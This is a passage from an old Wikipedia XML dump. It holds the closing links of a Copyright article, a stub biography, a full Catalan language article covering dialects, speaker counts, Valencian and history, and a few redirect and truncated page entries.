* [http://zentelligence.blogspot.com/March%20of%20the%20Spiders.pdf March of the Spiders] (by Simon Moores, for the UK Aediles Policy Unit)
*[http://www.uspto.gov/smallbusiness/ USPTO Stopfakes.gov Small Business Resources] 
*[http://www.bromsun.com/practices/copyright-portfolio-development/flowchart.htm A flowchart which helps to determine the copyright status of a particular work in the US.]
*[http://www.feedforall.com/rss-copyright-debate.htm Copyright Debate and RSS]
*[http://digital-copyright.ca/ Digital Copyright Canada forum] for debating Canadian PCT (Patent, copyright, trademark and other related rights) law.
*[http://fairuse.stanford.edu/ Copyright &amp; Fair Use], Stanford University Libraries
*[http://www.intellectual-property.gov.uk/resources/copyright/history.htm] British Government's Intellectual Property portal
[[Category:Copyright law| ]]
[[Category:Data management]]
[[Category:Intellectual property]]
[[Category:Library and information science]]

[[af:Kopiereg]]
[[ast:Derechos d'autor]]
[[ca:Drets d'autor]]
[[cs:Autorské právo]]
[[da:Ophavsret]]
[[de:Copyright]]
[[de:Urheberrecht]]
[[eo:Kopirajto]]
[[es:Derecho de autor]]
[[fi:Tekijänoikeus]]
[[fr:Droit d'auteur]]
[[he:זכויות יוצרים]]
[[hu:Szerzői jog]]
[[ia:Copyright]]
[[id:Hak Cipta]]
[[it:Copyright]]
[[it:Diritto d'autore]]
[[ja:著作権]]
[[ko:저작권]]
[[nl:Auteursrecht]]
[[pl:Prawo autorskie]]
[[pt:Direito autoral]]
[[ro:Drepturi de autor]]
[[ru:Авторское право]]
[[simple:Copyright]]
[[sv:Upphovsrätt]]
[[th:ลิขสิทธิ์]]
[[vi:Quyền tác giả]]
[[zh:著作權]]</text>
    </revision>
  </page>
  <page>
    <title>Christine Evelyn Roth</title>
    <id>5281</id>
    <revision>
      <id>20787042</id>
      <timestamp>2005-08-11T17:21:43Z</timestamp>
      <contributor>
        <username>Jaxl</username>
        <id>309415</id>
      </contributor>
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">{deletion}
'''Christine Evelyn Roth''' is a [[France|French]] woman who was deported from the [[United States]] in [[March 2001]] for trespassing in the home of [[Actor|actress]] [[Pamela Anderson]].

{{France-bio-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Catalan language</title>
    <id>5282</id>
    <revision>
      <id>40406328</id>
      <timestamp>2006-02-20T08:51:06Z</timestamp>
      <contributor>
        <ip>213.48.109.16</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Language
|name=Catalan, Valencian
|nativename=català, valencià
|familycolor=Indo-European
|states=[[Spain]], [[France]], [[Andorra]] and [[Italy]]
|region=[[Catalonia]], [[Land of Valencia|Valencia]], [[Balearic Islands]], [[Roussillon]], [[Aragon]], [[Murcia]], [[Sardinia]] and [[Andorra]]
|speakers=More than 7.5 million&lt;!-- see sources (and links) in the section [[#Number of Catalan speakers]] below --&gt;
|fam2=[[Italic languages|Italic]]
|fam3=[[Romance languages|Romance]]
|fam4=[[Italo-Western languages|Italo-Western]]
|fam5=[[Western Romance languages|Western]]
|fam6=[[Gallo-Iberian|Gallo-Iberian]]
|fam7=[[Ibero-Romance languages|Ibero-Romance]]
|fam8=[[East Iberian languages|East Iberian]]
&lt;!-- Name used by the Ethnologue, whose classification (NB which is already at the 'splitters' extreme of linguistics) is the one used across Wikipedia. 
Although the most frequent scientific denomination is, by far, the one of ''Catalan'', this the most spread syncretic denomination in the academic world. Josep Calveras used it for the first time in 1925, in his work ''La reconstrucció del llenguatge literari català'': «&quot;Catalan-Valencian-Balear&quot; would be the proper name that would satisfy everyone, if it were not because it is too long and the philologists are used to say briefly: Catalan language». The official dictionary of the Institut d'Estudis Catalans has the title ''Diccionari català-valencià-balear''.--[[User:Periku|Periku]] 10:04, [[27 October]] [[2005]] (UTC) --&gt; 
|nation=[[Andorra]]; [[Catalonia]], [[Balearic Islands]], [[Land of Valencia|Valencia]] in [[Spain]]
|agency=[[Institut d'Estudis Catalans]]&lt;br&gt;[[Acadèmia Valenciana de la Llengua]]
|iso1=ca|iso2=cat|lc1=cat|ld1=Catalan|ll1=Catalan language}}
{{Catalan-speaking world|align=right}}

'''Catalan''' (''Català'') or '''Valencian''' (''Valencià'') is a [[Romance languages|Romance language]], the national language of [[Andorra]] and co-official in several regions of [[Spain]]. Spain has the majority of active Catalan speakers, and Catalan is the country's second most widely spoken language. It is spoken or understood by as many as 12 million people who live not only in Andorra and Spain, but also in parts of [[France]] and [[Italy]].

==Classification==
According to the [[Ethnologue]], its specific classification is a member of the [[East Iberian languages|East Iberian]] branch of the [[Iberian Romance languages|Ibero-Romance]] branch of the [[Gallo-Iberian languages|Gallo-Iberian]] branch of the [[Western Italo-Western|Western]] sub complex of the [[Italo-Western languages|Italo-Western]] complex of the [[Romance languages|Romance]] group of the [[Italic languages|Italic]] branch of the [[Indo-European]] [[language family]]. It shares many features with both [[Spanish language|Spanish]] and [[French language|French]], and is the language nearest to [[Occitan]], and is often thought of as a sort of &quot;transitory&quot; language between the [[Iberian Romance languages|Iberian]] and [[Gallo-Romance languages|Gallic languages]] when comparing the modern descendants of [[Latin]].

==Geographic distribution==
[[Image:Catalan in Europe.png|thumb|right|Catalan in Europe]]
{{main|Catalan countries}}

Catalan is spoken in:
*[[Catalonia]]  in [[Spain]].
*[[La Franja|An adjacent strip]] of [[Aragon]], [[Spain]], in particular the ''comarques'' of Baixa [[Ribagorça]], [[Llitera]], [[Baix Cinca]], and [[Matarranya]].
*[[Balearic Islands]] in [[Spain]].
*[[Andorra]].
*Part of the [[Land of Valencia]] in [[Spain]]. (where is called [[valencian]])
*[[Northern Catalonia]] in [[France]].
*The city of [[Alghero]] (''l'Alguer'') on [[Sardinia]], an island in [[Italy]].
*A small region in [[Murcia (autonomous community)|Murcia]], Spain, known as ''el Carche'' in [[Spanish language|Castilian]] and ''el Carxe'' in Catalan.

All these areas are informally called [[Catalan countries]] (Catalan ''Països Catalans''), a denomination based originally on cultural affinity and common heritage, that some have subsequently interpreted politically.

===Official status===
Catalan is the official language of [[Andorra]]. It is co-official in the Spanish regions of [[Catalonia]], the [[Balearic Islands]], and [[Land of Valencia|Valencia]]. It has no official status in the parts of [[Aragon]] where it is spoken, but has gained some recognition by Aragonese laws since 1990. It has no official status in the other places where it is spoken.

=== Number of Catalan speakers ===
==== Territories where Catalan is official ====
{| style=&quot;margin: 0 0 0.5em 1.4em; border: 1px #aaa solid; border-collapse: collapse; float: center;&quot; border=1
|- style=&quot;font-size:110%; color: black; background-color: lawngreen;&quot;
|Region
|Understands
|Can speak
|- style=&quot;background-color:#CCCCCC;&quot;
|[[Catalonia]] ([[Spain]])
| align=&quot;right&quot; |5,837,874
| align=&quot;right&quot; |4,602,611
|- style=&quot;background-color:#E4E4E4;&quot;
|[[Land of Valencia]] ([[Spain]])
| align=&quot;right&quot; |3,512,236 
| align=&quot;right&quot; |1,972,922
|- style=&quot;background-color:#CCCCCC;&quot;
|[[Balearic Islands]] ([[Spain]])
| align=&quot;right&quot; |733,466
| align=&quot;right&quot; |504,349
|- style=&quot;background-color:#E4E4E4;&quot;
|[[Andorra]]
| align=&quot;right&quot; |62,381 
| align=&quot;right&quot; |49,519
|- style=&quot;background-color:#FFFFFF;&quot;
|'''TOTAL'''
| align=&quot;right&quot; |'''10,145,957'''
| align=&quot;right&quot; |'''7,129,401'''
|}

==== Other territories ====
{| style=&quot;margin: 0 0 0.5em 1.4em; border: 1px #aaa solid; border-collapse: collapse; float: center;&quot; border=1
|- style=&quot;font-size:110%; color: black; background-color: lawngreen;&quot;
|Region
|Understands
|Can speak
|- style=&quot;background-color:#CCCCCC;&quot;
|[[Alghero]] ([[Sardinia]], [[Italy]])
| align=&quot;right&quot; |20,000
| align=&quot;right&quot; |17,625
|- style=&quot;background-color:#E4E4E4;&quot;
|[[Roussillon]] ([[France]])
| align=&quot;right&quot; |203,121
| align=&quot;right&quot; |125,622
|- style=&quot;background-color:#CCCCCC;&quot;
|[[Franja de Ponent|Aragonese Fringe]] ([[Spain]])
| align=&quot;right&quot; |47,250
| align=&quot;right&quot; |45,000
|- style=&quot;background-color:#E4E4E4;&quot;
|[[Carxe]] ([[Murcia]], [[Spain]])
| align=&quot;right&quot; |No data
| align=&quot;right&quot; |No data
|- style=&quot;background-color:#CCCCCC;&quot;
|Rest of World
| align=&quot;right&quot; |No data
| align=&quot;right&quot; |350,000
|- style=&quot;background-color:#FFFFFF;&quot;
|'''TOTAL'''
| align=&quot;right&quot; |'''270,371'''
| align=&quot;right&quot; |'''538,247'''
|}

==== World ====
{| style=&quot;margin: 0 0 0.5em 1.4em; border: 1px #aaa solid; border-collapse: collapse; float: center;&quot; border=1
|- style=&quot;font-size:110%; color: black; background-color: lawngreen;&quot;
|Region
|Understands
|Can speak
|- style=&quot;background-color:#CCCCCC;&quot;
|[[Catalan Countries]] ([[Europe]])
| align=&quot;right&quot; |10,416,328
| align=&quot;right&quot; |7,317,648
|-  style=&quot;background-color:#E4E4E4;&quot;
|Rest of World
| align=&quot;right&quot; |No data
| align=&quot;right&quot; |350,000
|-
|'''TOTAL'''
| align=&quot;right&quot; |'''10,416,328'''
| align=&quot;right&quot; |'''7,667,648'''
|}

&lt;small&gt;'''''Notes:''''' The number of people who understand Catalan includes those who can speak it.&lt;/small&gt;

&lt;small&gt;'''''Sources:''''' '''Catalonia''': 
Statistic data of 2001 census, from ''Institut d'Estadística de Catalunya, Generalitat catalana'' [http://www.idescat.net/territ/BasicTerr?TC=5&amp;V0=3&amp;V1=3&amp;V3=876&amp;V4=17&amp;ALLINFO=TRUE&amp;PARENT=1&amp;CTX=B]. '''Land of Valencia''': Statistical data from 2001 census, from ''Institut Valencià d'Estadística, Generalitat Valenciana'' [http://ive.infocentre.gva.es/pls/portal/docs/PAGE/IVE_PEGV/CONTENTS/cvcifras/2004/val/cvx2004_02.pdf].  '''Balearic Islands''': Statistical data from 2001 census, from ''Institut Balear d'Estadística, Govern de les Illes Balears'' [http://www.caib.es/ibae/demo/catala/t2.htm]. '''Northern Catalonia''': ''Media Pluriel'' Survey commissioned by Prefecture of [[Languedoc-Roussillon Region]] done in October 1997 and published in January 1998 [http://www.linmiter.net/information_catalan.html]. '''Andorra''':
Sociolinguistic data from Andorran Government, 1999 [http://www.catala.ad/CatalaAnd/DadSocLin.htm]. '''Aragon''': Sociolinguistic data from Euromosaic [http://www.uoc.edu/euromosaic/web/document/catala/an/e19/e19.html]. '''Alguer''': Sociolinguistic data from Euromosaic [http://www.uoc.edu/euromosaic/web/homect/index2.html]. '''Rest of World''': Estimate for 1999 by the ''Federació d'Entitats Catalanes'' outside the Catalan Countries.&lt;/small&gt;

==Dialects==
[[Image:Dialectal_map_of_Catalan_Language.png|thumb|right|250px|Dialectal Map of Catalan Language]]In 1861, [[Manuel Milà i Fontanals]] proposed a dialectal division of Catalan in two major blocks: [[Eastern Catalan]] and [[Western Catalan]].

There is no precise linguistic border between one dialect and another because there is nearly always a dialect transition zone of some size between pairs of geographically identified dialects, (except for dialects specific to an island). The main difference between both blocks is:
*'''Western Catalan''' (''Bloc o Branca del Català Occidental''):
**Unstressed vowels: {{IPA|[a] [e] [i] [o] [u]}}. Distinctions between ''e'' and ''a'' and ''o'' and ''u''.
**Initial or &lt;!-- this next word is probably wrong, but I don't know what's right, please remove this comment after fixing or confirming. - [[User:Jmabel]] --&gt; post-consonatic ''x'' is affricate {{IPA|/tʃ/}}. Between vowels or &lt;!-- this next pair of words is probably wrong, but I don't know what's right, please remove this comment after fixing or confirming. - [[User:Jmabel]] --&gt; final preceded of ''i'', {{IPA|/jʃ/}}.
**&lt;!-- this next phrase is probably wrong, but I don't know what's right, please remove this comment after fixing or confirming. - [[User:Jmabel]] --&gt; 1st person of Indicative's present desinence is -e or -o.
**&lt;!-- this next word is probably wrong, but I don't know what's right, please remove this comment after fixing or confirming. - [[User:Jmabel]] --&gt; Inchoative in -ix, -ixen, -isca
**Maintenance of medieval nasal plural in &lt;!-- this next word is probably wrong, but I don't know what's right, please remove this comment after fixing or confirming. - [[User:Jmabel]] --&gt; proparoxiton words: hòmens, jóvens
**Specific Vocabulary: espill, xiquet, granera, melic...
*'''Eastern Catalan''' (''Bloc o Branca del Català Oriental''):
**Unstressed vowels {{IPA|[ə] [i] [u]}}. The unstressed vowels ''e'' and ''a'' becomes /ə/ and ''o'' and ''u'' becomes /u/.
**Initial or &lt;!-- this next word is probably wrong, but I don't know what's right, please remove this comment after fixing or confirming. - [[User:Jmabel]] --&gt; post-consonatic ''x'' is fricative {{IPA|/ʃ/}}. Between vowels or final preceded of ''i'' is also {{IPA|/ʃ/}}.
**&lt;!-- this next phrase is probably wrong, but I don't know what's right, please remove this comment after fixing or confirming. - [[User:Jmabel]] --&gt; 1st person of Indicative's present desinence is -o, -i or ø.
**&lt;!-- this next word is probably wrong, but I don't know what's right, please remove this comment after fixing or confirming. - [[User:Jmabel]] --&gt; Inchoative in -eix, -eixen, -eixi.
**The -n- of medieval nasal plural falls in &lt;!-- this next word is probably wrong, but I don't know what's right, please remove this comment after fixing or confirming. - [[User:Jmabel]] --&gt; proparoxiton words: homes, joves.
**Specific Vocabulary: mirall, noi, escombra, llombrígol...
In addition, neither [[dialect]] is completely homogeneous: any dialect can be subdivided into several sub dialects. Catalan can be subdivided in two major dialectal blocks and those blocks into individual dialects:
[[Image:Mapa dialectal del català-valencià.png|thumb|250px|Varieties of Catalan]]
{| border=0 cellspacing=10 cellpadding=10 
|  width=&quot;50%&quot; valign=top bgcolor=&quot;#E7E7FF&quot; | 
'''[[Western Catalan]]'''
* ''[[North-Western Catalan]]'' (colour: light blue)
** ''[[Ribagorçà]]'' (from [[Ribagorça]], a region of Catalonia)
** ''Pallarès'' (from [[Pallars]])
** ''Lleidatà'' (from [[Lleida (province)|Lleida province]])
* ''Southern Catalan'' or ''Northern Valencian' (colour: blue)'
** ''Tortosí'' (from [[Tortosa]])
** Catalan from [[Matarranya]]
** ''Vinarossenc'' (from [[Vinaròs]])
** Valencian from [[Maestrat]] (a region of Valencia)
* ''[[Valencian]]'' (colour: dark blue)
** ''Castellonenc'' (from region of [[Castelló de la Plana|Plana]])
** ''Apitxat'', or Central Valencian
** Southern Valencian
** Majorcan from Tàrbena and la Vall de Gallinera Valencian municipalities
|  width=&quot;50%&quot; valign=top bgcolor=&quot;#E7E7FF&quot; | 
'''[[Eastern Catalan]]'''
* ''Northern Catalan, or ''rossellonès'' (from [[Roussillon]])'' (colour: pink)
* ''[[Central Catalan]]'' (colour: light red)
** ''Salat'' (from the [[Costa Brava]])
** ''Barcelonès'' (from [[Barcelona]])
** ''Tarragonès'' (from [[Tarragona]])
** ''Xipella''
* ''[[Balearic]]'' (colour: dark red)
** ''Mallorquí'' (from [[Majorca]])
** ''Menorquí'' (from [[Minorca]])
** ''Eivissenc'' (from [[Eivissa]])
* ''[[Alguerese]]'' (from the Italian city of [[Alghero]])
|}

See [[Catalan dialect examples]] for examples of each dialect.

== The status of Valencian ==
{{Main|Valencian}}

[[image:Valenciamaydayposter.jpg|300px|right|thumb|A poster in [[Catalan]] from the Spanish trade union federation displayed in [[Valencia]].]]

The official language academy of the [[Land of Valencia]] (the [[Acadèmia Valenciana de la Llengua]]) considers ''Catalan'' and ''Valencian'' simply to be two names for the same language. 
There is a roughly continuous set of [[idiolect]]s covering the various regional forms of Catalan/ Valencian, with no break at the border between Catalonia and Valencia (i.e. villages contiguous to both sides of the border speak exactly the same), and the various forms of Catalan and Valencian are mutually intelligible. All universities teaching Romance languages, and virtually all linguists, consider these all to be linguistic variants of the same language (similar to [[Canadian French]] versus Metropolitan French).

Nevertheless, differences do exist: the accent of a Valencian is recognisable, there are differences in subjunctive terminations, and there are a large number of words unique to Valencian; but those differences are not any wider than among North-Western Catalan and Eastern Catalan. In fact, Northern Valencian (spoken in the Castelló province and Matarranya valley, a strip of [[Aragon]]) is more similar to the Catalan of the lower [[Ebro]] [[basin]] (spoken in southern half of [[Tarragona province]] and another strip of Aragon) than to ''apitxat'' Valencian (spoken in the area of [[L'Horta]], in the province of Valencia).

The [[Valencian|Valencian language]] has often been seen as a dialect of Catalan due to their mutual intelligibility. However, the issue of ''language'' versus ''dialect'' is as much a matter of politics as of linguistics. By the criterion of mutual intelligibility, Valencian and other varieties of Catalan are dialects of a single language; but according to this criterion, [[Galician language|Galician]] and [[Portuguese language|Portuguese]] are also dialects of a single language, as are [[Norwegian language|Norwegian]] and [[Swedish language|Swedish]], a contentious conclusion in either case. A language is defined by several factors, [[Language-dialect aphorism|political ones among others]]. 

What gets called a ''language'' is defined in part by mutual comprehensibility, but also by political and cultural factors. Historically, the perceived status of Valencian as a &quot;dialect of Catalan&quot; has had important political implications including [[Catalan nationalism]] and the idea of the ''Països catalans'' or &quot;[[Catalan countries]].&quot; Conversely, some Valencians who advocate distinguishing the languages do so to resist a perceived Catalan nationalist agenda aimed at absorbing Valencian language and identity, and incorporating Valencians into a constructed nationality centered on Catalonia. However, this idea is mostly supported by extreme right-wing organisations who usually don't support actual use of Valencian, but rather fear a possible union between Catalonia and Valencia towards their independence. It should be noted as well that it is common consensus amongst linguists to consider Valencian and Catalan to be the same language.

Similarly to [[Serbian language|Serbian]] and [[Croatian language|Croatian]], the issue of whether Catalan and Valencian constitute different languages or merely dialects has been the subject of political agitation several times since the end of the Franco era. The latest political controversy regarding Valencian occurred on the occasion of the drafting of the [[European Constitution]] in 2004. The Spanish government supplied the [[European Union|EU]] with translations of the text into [[Basque language|Basque]], Galician, Catalan, and Valencian, but the Catalan and Valencian versions were identical. While professing the unity of the Catalan language, the Spanish government claimed to be constitutionally bound to produce distinct Catalan and Valencian versions because the Statute of the Autonomous Land of Valencia refers to the language as ''Valencian''. In practice, the Catalan, Valencian, and Balearic versions of the EU constitution are identical, although some compromises over spelling may have been involved in making them so.

Most current (21st century) Valencian speakers and writers use spelling conventions (Normes de Castelló, 1932) that allow for several diverse idiosyncrasies of Valencian, Balearic, North-Western Catalan, and Eastern Catalan.

==Sounds and writing system==
{{main|Catalan phonology and orthography}}

==Grammar==
{{main|Catalan grammar}}

An interesting feature of Catalan, as compared to most other modern Romance languages, is its complex and extremely conservative system of pronoun [[clitic]]s.

==History==
Catalan developed by the [[9th century|9th century]] from [[Vulgar Latin]] on both sides of the eastern part of [[Pyrenees]] mountains (counties of [[Roussillon]], [[Empuries]], [[Besalú]], [[Cerdagne]], [[Urgell]], [[Pallars]] and [[Ribagorça]]). It shares features with Gallo-romance and Ibero-romance, and it could be said to be in its beginnings no more than an eccentric dialect of [[Occitan language|Occitan]] (or of Western Romance).
The language was spread to the south by the ''[[Reconquista]]''
in several phases: Barcelona and Tarragona, Lleida and Tortosa, the ancient Kingdom of Valencia, and transplanted to the Balearic Islands and l'Alguer ([[Alghero]]).

Catalan was exported in the thirteenth century to the Balearic Islands and the newly created Valencian Kingdom by the Catalan and Aragonese invaders (note that the area of Catalan language still extends to part of what is now the region of Aragon). During this period, almost all of the Muslim population of the Balearic Islands were expelled, but many Muslim peasants remained in many rural areas of the Valencian Kingdom, as had happened before in the lower [[Ebro]] basin (or Catalunya Nova).

During the thirteenth, fourteenth and fifteenth centuries the Catalan language was important in the [[Mediterranean]] region. Barcelona was the pre-eminent city and port of the so-called [[Aragonese Empire]], a confederation nominally ruled by the King of Aragon (Aragon, Catalonia, Roussillon, Valencia, the Balearic Islands, Sicily, and &amp;mdash; later &amp;mdash; Sardinia and Naples). All prose writers of this era used the name 'Catalan' for their common language (e.g. the Catalan [[Ramon Muntaner]], the Majorcan [[Ramon Llull]], etc.) The matter is more complicated among the poets, as they wrote in a sort of artificial [[Occitan|Langue d'Oc]] in the tradition of the [[troubador]]s. Italian resentment of this Catalan dominance appears to have been one of the wellsprings of the so-called &quot;[[Black Legend]]&quot;.
[[Image:Tirant.jpg|right|thumb|One of the first few pages of ''[[Tirant lo Blanc|Tirant&amp;nbsp;lo&amp;nbsp;Blanch]]'', by [[Joanot Martorell|Joanot&amp;nbsp;Martorell]].]]
During the fifteenth and sixteenth centuries the city of Valencia gains pre-eminence in the confederation, due to several factors, including demographic changes and the fact that the royal court moved there. Presumably as a result of this shift in the balance of power within the confederation, in the fifteenth century the name 'Valencian' starts to be used by writers from Valencia to refer to their language.

In the sixteenth century the name 'Llemosí' (that is to say, &quot;the Occitan dialect of [[Limoges]]&quot;) is first documented as being used to refer to this language. This attribution has no philological base, but it is explicable by the complex sociolinguistic frame of Catalan poetry of this era (Catalan versus troubadoresque Occitan). [[Ausias March]] himself was not sure what to call the language he was writing in (it is clearly closer to his contemporary Catalan or Valencian than to the archaic Occitan).

Then, during the sixteenth century, most of the Valencian elites switched languages to Castilian Spanish, as can be seen in the balance of languages of printed books in Valencia city: at the beginning of century Latin and Catalan (or Valencian) were the main languages of the press, but by the end of the century Spanish was the main language of the press. Still, rural areas and urban working classes continued to speak their vernacular language.

During the first half of the nineteenth century, Catalan and Valencian experienced a major revival among urban elites due to the [[Renaixença]], a [[romanticism|romantic]] cultural movement. The effects of this revival continue to be felt to this day.

In Francoist Spain (1939-1975), the use of Castilian over Catalan was promoted,  and public use of Catalan was in fact forbidden, though thousands of books were published in Catalan (or sneaked under censorship). Following the death of Franco in [[1975]] and the restoration of democracy, the use of Catalan increased and the Catalan language is now used in politics, education and the media, including the newspapers ''Avui'' ('Today'), ''El Punt'' ('The Point') and ''El Periódico de Catalunya'' (sharing content with its Spanish release and with ''El Periòdic d'Andorra'', printed in [[Andorra]]; ''El Periódico de Catalunya'' has Spanish-language and Catalan-language editions, with identical content) and the [[television]] channels of ''Televisió de Catalunya'' (TVC): TV3 and Canal 33/K3 (culture and cartoons channel) as well as a 24 hour news channel 3/24; there are also many local channels available in region in Catalan, such as BTV and CityTV (Barcelona), Canal L'Hospitalet (L'Hospitalet de Llobregat) and Canal Terrassa (Terrassa).

==Examples==
{{IPA notice}}
Some common Catalan phrases (pronounced as in the Central dialect -Barcelona and outskirts-):

*Catalan: ''Català'' {{IPA|/kətə&amp;#712;l&amp;#593;/}}
*hello: ''hola'' {{IPA|/&amp;#712;&amp;#596;lə/}}
*good-bye: ''adéu'' {{IPA|/ə&amp;#712;ð&amp;#603;w/}} (sing.); ''adéu siau'' {{IPA|/ə&amp;#712;ð&amp;#603;w si&amp;#712;aw/}} (pl.)
*please: ''si us plau'' {{IPA|/sis&amp;#712;pl&amp;#593;w/}}
*thank you: ''gràcies'' {{IPA|/&amp;#712;gr&amp;#593;siəs/}}; ''mercès'' {{IPA|/mər&amp;#712;s&amp;#603;s/}}
*sorry: ''perdó'' {{IPA|/pər&amp;#712;ðo/}} 
*that one: ''aquest'' {{IPA|/ə&amp;#712;k&amp;#603;t/}} (masc.); ''aquesta'' {{IPA|/ə&amp;#712;k&amp;#603;stə/}} (fem.)
*how much?: ''quant val?'' {{IPA|/&amp;#712;kw&amp;#593;m&amp;#712;b&amp;#593;l/}}; ''quant és?'' {{IPA|/&amp;#712;kw&amp;#593;n&amp;#712;tes/}}
*yes: ''sí'' {{IPA|/&amp;#712;si/}}
*no: ''no'' {{IPA|/&amp;#712;no/}}
*I don't understand: ''No ho entenc'' {{IPA|/&amp;#712;no wən&amp;#712;teŋ/}}
*where's the bathroom?: ''on és el bany?'' {{IPA|/&amp;#712;on&amp;#712;ezəl&amp;#712;βa&amp;#626;/}}; ''on és el lavabo?'' {{IPA|/&amp;#712;on&amp;#712;ezəl&amp;#712;lə&amp;#712;β&amp;#593;βu/}}
*generic toast: ''salut!'' {{IPA|/sə&amp;#712;lut/}};
*Do you speak English?: ''Que parla l'anglès?'' {{IPA|/kə &amp;#712;parlə lən&amp;#712;gl&amp;#603;s/}}
*Do you speak Catalan?: ''Que parla el català?'' {{IPA|/kə &amp;#712;parləl kətə&amp;#712;l&amp;#593;/}}

==Learning Catalan==
* ''Digui, digui... Curs de català per a estrangers''. A Catalan Handbook. &amp;mdash; Alan Yates and Toni Ibarz. &amp;mdash; Generalitat de Catalunya. Departament de Cultura, 1993. -- ISBN 84-393-2579-7.
* ''Teach Yourself Catalan''. &amp;mdash; McGraw-Hill, 1993. &amp;mdash;  ISBN 0844237558.
* ''Colloquial Catalan''. &amp;mdash; Toni Ibarz and Alexander Ibarz. &amp;mdash; Routledge, 2005. &amp;mdash;  ISBN 0415234123.

Catalan courses are given at many universities in the EU and USA.

==English words of Catalan origin==
*[[Allioli]], from ''all i oli'', a typical sauce.
*[[Barracks]], from ''barraca'', used for several kinds of buildings.
*[[Mayonnaise]], one of the proposed etymologies is the name of the city of [[Maó]]/Mahón.

==See also==
* [[Common phrases in different languages]]
* [[Institut d'Estudis Catalans]] (Catalan Studies Institute)
* [[Pompeu Fabra]]
* [[Valencian]]
* [[Acadèmia Valenciana de la Llengua]]
* [[Catalan literature]]
* [[Languages of France]]
* [[:Category:Languages of Italy|Languages of Italy]]
* [[:Category:Languages of Spain|Languages of Spain]]
* [[Spanish and Portuguese names|Catalan names]]
* [[:.cat|New Catalan top-level domain .cat]]

==External links==
{{InterWiki|code=ca}}
{{Commons|Catalan language}}
===Institutions===
* [http://www.iec.es/  Institut d'Estudis Catalans]
* [http://www.avl.gva.es/  Acadèmia Valenciana de la Llengua]
===About the Catalan language===
* [http://www.ethnologue.com/show_language.asp?code=cat Ethnologue report for Catalan]
* [http://catalunya-lliure.com/recursos.html Catalan resources in the Web]
* [http://www.spinnoff.com/zbb/viewtopic.php?t=7983&amp;postdays=0&amp;postorder=asc&amp;start=0 GRAMÀTICA CATALANA] A Catalan grammar
===Dictionaries and phrasebooks===
* [http://www.websters-online-dictionary.org/definition/Catalan-english/  Catalan English Dictionary] from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition
* [http://pdl.iec.es/entrada/diec.asp Diccionari Català de l'IEC]
* [http://www.grec.net/home/cel/dicc.htm Online Catalan dictionary] from Enciclopèdia Catalana
* [http://dcvb.iecat.net/ Diccionari Català-Valencià-Balear]. In Catalan, published by the Institut d'Estudis Catalans and Editorial Moll.
* [http://www.dilc.org/ Diccionari Invers de la Llengua Catalana]
* [http://www.catalandictionary.org/ DACCO]. Open source English-Catalan / Catalan-English dictionary project.
* [[wikitravel:Catalan phrasebook|Catalan phrasebook]] on [[wikitravel:Main Page|Wikitravel]]
* [http://www.geocities.com/learn_catalan/ Learn Catalan!]. An introduction for the Catalonia-bound traveler.

===Catalan-language media===
* [http://www.tvcatalunya.com/ ''Televisió de Catalunya'']
* [http://www.avui.cat/ Diari ''Avui''] &amp;mdash; Catalan-language daily newspaper
* [http://www.elpunt.com/ Diari ''El Punt''] &amp;mdash; Catalan-language daily newspaper
* [http://www.vilaweb.cat/ ''VilaWeb''] The main Catalan online newspaper
* [http://wikibooks.org/wiki/P%C3%A0gina_principal Catalan Wikibooks]

===Catalan-language web searching===
* [http://ct.yahoo.com/  Yahoo! Català] Searching in Catalan
* [http://www.nosaltres.com/  Nosaltres.com]
* [http://www.google.com/intl/ca/   Google (Catalan language)]

===Catalan-language online encyclopedia===
*[http://www.enciclopedia-catalana.com/ Enciclopèdia Catalana] (in Catalan)
*[http://ca.wikipedia.org/wiki/Portada Viquipèdia] (Wikipedia in Catalan)

[[Category:Catalan language]]
[[Category:Languages of France]]
[[Category:Languages of Italy]]
[[Category:Languages of Spain]]
[[Category:Languages of Andorra]]
[[Category:Romance languages]]

{{Link FA|ca}}

[[af:Katalaans]]
[[ar:لغة كاتالانية]]
[[an:Idioma catalán]]
[[ast:Catalán]]
[[bg:Каталонски език]]
[[br:Katalaneg]]
[[ca:Català]]
[[cs:Katalánština]]
[[cy:Catalaneg]]
[[da:Catalansk (sprog)]]
[[de:Katalanische Sprache]]
[[et:Katalaani keel]]
[[el:Καταλανική γλώσσα]]
[[es:Idioma catalán]]
[[eo:Kataluna lingvo]]
[[eu:Katalan]]
[[fr:Catalan]]
[[fy:Katalaansk]]
[[fur:Lenghe catalane]]
[[gl:Lingua catalá]]
[[ko:카탈루냐어]]
[[hr:Katalonski jezik]]
[[id:Bahasa Katalan]]
[[ia:Lingua catalan]]
[[it:Lingua catalana]]
[[he:קטלאנית]]
[[kw:Katalanek]]
[[la:Lingua Catalana]]
[[li:Catalaans]]
[[nl:Catalaans (taal)]]
[[nds:Katalaansch]]
[[ja:カタルーニャ語]]
[[nn:Katalansk språk]]
[[oc:Catalan]]
[[pl:Język kataloński]]
[[pt:Língua catalã]]
[[ro:Limba catalană]]
[[rm:Lingua catalana]]
[[ru:Каталанский язык]]
[[simple:Catalan language]]
[[sr:Каталонски језик]]
[[fi:Katalaani]]
[[sv:Katalanska]]
[[tr:Katalanca]]
[[wa:Catalan]]
[[zh:加泰罗尼亚语]]</text>
    </revision>
  </page>
  <page>
    <title>Cryptomonads</title>
    <id>5283</id>
    <revision>
      <id>15903498</id>
      <timestamp>2002-07-16T00:08:09Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <minor />
      <comment>Wish I'd started these in the singular</comment>
      <text xml:space="preserve">#REDIRECT [[Cryptomonad]]</text>
    </revision>
  </page>
  <page>
    <title>College logic</title>
    <id>5284</id>
    <revision>
      <id>22502867</id>
      <timestamp>2005-09-03T22:52:56Z</timestamp>
      <contributor>
        <username>Banno</username>
        <id>22544</id>
      </contributor>
      <comment>#REDIRECT [[Logic]]</comment>
      <text xml:space="preserve">#REDIRECT [[Logic]]</text>
    </revision>
  </page>
  <page>
    <title>STS-51-F</title>
    <id>5285</id>
    <revision>
      <id>41585073</id>
      <timestamp>2006-02-28T08:31:22Z</timestamp>
      <contributor>
        <username>Cohesion</username>
        <id>103640</id>
      </contributor>
      <comment>scaling image, original is now full size</comment>
